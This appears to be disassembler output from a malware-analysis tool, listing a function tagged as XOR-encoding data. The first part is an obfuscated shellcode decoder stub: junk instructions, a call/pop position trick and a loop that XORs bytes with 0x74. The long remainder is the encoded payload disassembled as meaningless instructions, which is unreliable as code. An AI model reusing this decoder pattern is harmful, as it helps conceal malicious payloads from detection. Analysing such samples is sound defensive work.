Function at 0x7ffe8354
Capabilities:
Encode data using xor

Disassembly:
and bh, 0xff
pushal
inc eax
popal
pop eax
cld
add eax, 0x11
mov byte [eax], 5
cld
clc
stc
call 0x7ffe8354
nop
cld
add eax, 5
add eax, 0
nop
cld
mov ecx, eax
cld
cld
clc
cld
call 0x7ffe8313
cld
lea esp, [esp]
add eax, 0
pop eax
pushal
inc eax
popal
push eax
pop eax
cld
add eax, 0x15
cld
mov byte [eax], 5
call 0x7ffe84d6
cld
stc
stc
add eax, 5
nop
cld
xchg ecx, eax
stc
add eax, 0
stc
sub ecx, eax
add eax, 0
cld
xor byte [eax + ecx], 0x74
pushal
inc eax
popal
cld
push es
pop ds
cld
loop 0x7ffe8341
add eax, 0
push es
pop ds
nop
pop ecx
pushfd
je 0x7ffe83cc
je 0x7ffe83ce
sub al, 0xf7
mov ah, 0x73
mov dl, 0x74
jno 0x7ffe82fe
sal dword [esp + esi*2 + 0x74], 0xf7
mov ah, 0x71
std
xor dword [eax + 0x7474749c], eax
je 0x7ffe839e
div dword [ebx + esi*2 - 0x638e8b4e]
jae 0x7ffe8328
je 0x7ffe83e9
pushfd
sal dword [esp + esi*2 + 0x74], 1
div dword [ecx + esi*2 - 0x7ddf0e03]
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe8400
je 0x7ffe83ba
adc al, byte [edi - 0x4c]
std
int1
cwde
test dword [ebx - 0x63dbd375], ecx
je 0x7ffe8410
je 0x7ffe8412
sub al, 0xb2
xor al, 0x71
jno 0x7ffe8340
dec esp
cmp dh, byte [esp + esi*2 - 9]
mov ah, 0x7e
std
int1
and al, 0x82
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe842b
je 0x7ffe83e5
mov dl, 0x34
jno 0x7ffe842e
xor al, 0x71
jno 0x7ffe835a
pushfd
cmp bl, byte [eax]
je 0x7ffe8436
div dword [esi + edi*2 - 0x7dd70e03]
mov ecx, dword [ebx + 0x749c242c]
je 0x7ffe8445
and al, 0x9c
je 0x7ffe8444
je 0x7ffe8446
je 0x7ffe83ff
sub al, 0xb2
xor al, 0x71
jno 0x7ffe8374
mov dl, 0x34
jno 0x7ffe8448
pushfd
xor byte [ebx - 0x4b087475], bh
jle 0x7ffe83dd
mov ah, 0x7e
std
xor dword [eax + 0x74f4cd2c], edx
je 0x7ffe845c
je 0x7ffe845b
je 0x7ffe83e8
inc dword [ecx]
nop
stc
leave
test byte [ebp - 0x2e787475], al
push dword [ecx]
add dword [eax - 0x7a7b3607], edx
mov ecx, dword [ebx + 0x31ffd187]
cmp ch, 0xf1
enter 0xffffffffffff8b8c, 0xffffffffffffff8b
invalid
or byte [ebx - 0x7fc6a075], 0xfd
mov ecx, dword [ebx - 0x27fc6a1]
cmp dword [eax + 0x258c39fd], eax
and esp, dword [esp + eax*8]
in al, 0xff
cmp dword [edi + edi*8 - 0x74733737], ecx
mov eax, dword [edi + 0x2d2b2cde]
mov ebp, 0xb634b447
js 0x7ffe8496
cmp dword [ebp - 0x1b3bdbdd], ecx
invalid
dec ecx
enter 0xffffffffffff8b8c, 0xffffffffffffff8b
xchg esi, ebx
sub al, 0x2b
sub eax, 0x34b447bd
sub ebp, dword [0x34b447bd]
mov dh, 0x78
je 0x7ffe8448
and eax, 0x8bcd2724
and al, 0x27
int 0x8b
mov ecx, dword [ebx + 0x7475cc8b]
jne 0x7ffe84a1
je 0x7ffe84a3
je 0x7ffe8442
adc bh, dl
cli
pushfd
pop edi
mov esp, 0x579ff812
lahf
push edi
lodsb al, byte [esi]
and dword [edi + 0x7bad5737], 0xffffffe1
mov ah, 1
wait
mov ch, 0x9d
popfd
push 0x7474749c
pushfd
je 0x7ffe84bd
je 0x7ffe84be
je 0x7ffe84bf
je 0x7ffe8478
sub al, 0x77
mov ch, 0x8b
xchg esp, eax
das
sub al, 0x2d
int3
ja 0x7ffe8403
mov edx, dword [edi + ebp + 0x75cc2d2c]
je 0x7ffe84cb
je 0x7ffe84cc
je 0x7ffe8416
mov ebp, 0x2d2c2fb7
mov bh, 0x2f
sub al, 0x2d
sub eax, 0x747467cd
int 0x67
je 0x7ffe84d5
je 0x7ffe8462
inc ecx
sub byte [edx - 0x36007475], al
and al, 0x82
shr dword [eax], 0x82
mov ecx, dword [ebx - 0x7ddb3601]
mov ecx, dword [ebx - 0x2f2e79]
loope 0x7ffe8498
or byte [ebx + 0x38b6f78b], 0xfd
mov dh, 0x38
std
loope 0x7ffe8419
test dword [ebx - 0x846075], ecx
int1
pushfd
test dword [ebx + 0x759cf78b], ecx
std
int1
pushfd
test dword [ebx - 0x63060075], ecx
test dword [ebx + 0x24f94f8b], ecx
or byte [ebx + 0x2479068b], 0xff
mov ecx, dword [edi - 7]
stc
and al, 0x82
mov ecx, dword [ebx - 0xdb86fa]
int1
pushfd
test dword [ebx - 0x11bb0b75], ecx
sub al, 0x9f
mov byte [0x74749c24], al
je 0x7ffe8526
sub al, 0xf7
mov ah, 0x73
mov dl, 0x74
jno 0x7ffe8456
pushfd
mov ecx, dword [ebx + 0x71b4f78b]
mov esi, edi
div dword [ecx + esi*2 + 0x7634fe4a]
cld
int1
add dword [edi - 0xe007475], 0xffffff98
mov ah, 0x71
dec edx
invalid
push ecx
int1
cwde
test dword [ebx + 0x24e18b8b], ecx
or byte [ebx - 0x1f958075], 0x53
mov ecx, dword [ebx + 0x53e06a7f]
in al, dx
push ds
push ss
or dl, byte [esi]
fimul dword [esi + eax*4 + 0xb0202ff]
push ds
adc cl, byte [eax]
cwde
sbb ebx, dword [ebx + 0x10]
or dl, byte [ecx + 0x1a16c688]
sete byte [ecx + 0x61aa075e]
cld
test eax, 0xca894062
or byte [edx], dl
adc al, 0x85
mov edx, dword [ebp + 4]
cmpsd dword [esi], dword es:[edi]
insb byte es:[edi], dx
retf
fstp dword [eax + edx*4]
xchg ebx, eax
push eax
pop ecx
rol dword [eax + ebx*4], 5
mov esp, dword [0xd55f470f]
or eax, 0x3aa4778a
add edx, dword [0x5aab5512]
cmp byte [esi + edx*8], dh
dec esp
or al, 0xd6
push ebp
add al, 0x8a
cmc
shr dl, 1
add eax, 0x75177b0c
sbb eax, 0x871f1047
clc
sbb al, 9
or eax, 0x230d1776
and eax, 0x928018db
cdq
mov edx, dword [eax + ecx]
add esi, dword [ecx + 0x41]
pop ss
or eax, 0x18db2523
adc byte [edx + 0x8148b99], 3
jno 0x7ffe85ac
and byte [edi + eax], dl
mov al, byte [0x6ff9491]
add dword [edi - 0x60], esp
stosd dword es:[edi], eax
std
or dword [ebx], ebx
rsqrtps xmm2, xmmword [ecx]
xor byte [esi], cl
out dx, al
adc ebx, dword [ebx + 0x690982]
sahf
sbb ebp, dword [esi]
xchg esp, eax
fadd qword [0xa4aa9684]
xchg esi, eax
stosb byte es:[edi], al
movsb byte es:[edi], byte [esi]
adc al, 1
push ss
push ebx
push ds
sub al, 0xc2
out 0, al
mov word [edi + 0x1b058794], ss
add edx, esi
dec esi
out dx, eax
add eax, dword [0x88dc001e]
xor al, 0x16
pop es
adc cl, byte [0x5f060116]
lahf
sbb cl, byte [edx]
xchg edx, eax
pop ss
xchg ebp, eax
wait
push ebp
jecxz 0x7ffe855c
sbb eax, 0x93108d0b
xchg edi, eax
lahf
xor dl, byte [esi]
movhps qword [ecx - 0x57], xmm3
lcall 0x4d0e, 0x1514168b
call 0x82082214
sbb ebx, dword [edi]
lea ecx, [ebx - 7]
cwde
lea edi, [ecx]
sbb byte [ecx - 0x6819a4b6], bl
movsd dword es:[edi], dword [esi]
pop ebp
or edx, dword [0x76b49017]
or dword [eax], edx
pop ds
pop esi
jne 0x7ffe858d
lsl edx, word [esi]
wait
pop ebp
cld
out dx, al
push esi
dec ecx
push ds
or eax, 0xda0ccf8b
xor eax, 0xfc94ad2
add eax, 0xe0089c0
pop ds
cmpsb byte [esi], byte es:[edi]
mov esp, 0xa16030b
lahf
xor ebp, 0xc
mov dh, 0x9e
xchg edx, eax
inc byte [edi]
adc dword [ecx], ecx
pushfd
adc al, 0x4f
aad 3
popfd
xchg dword [0xab1f1f0d], esi
stosb byte es:[edi], al
jnp 0x7ffe862b
or dword [esi], eax
mov byte gs:[ebx], dl
add al, 0x28
sbb al, 0xdd
adc byte [edx + 0x99eb9b8], bl
pushfd
enter 0x471b, 0xffffffffffffffd3
pop edx
ror dl, cl
enter 0x83, 0xffffffffffffff86
int3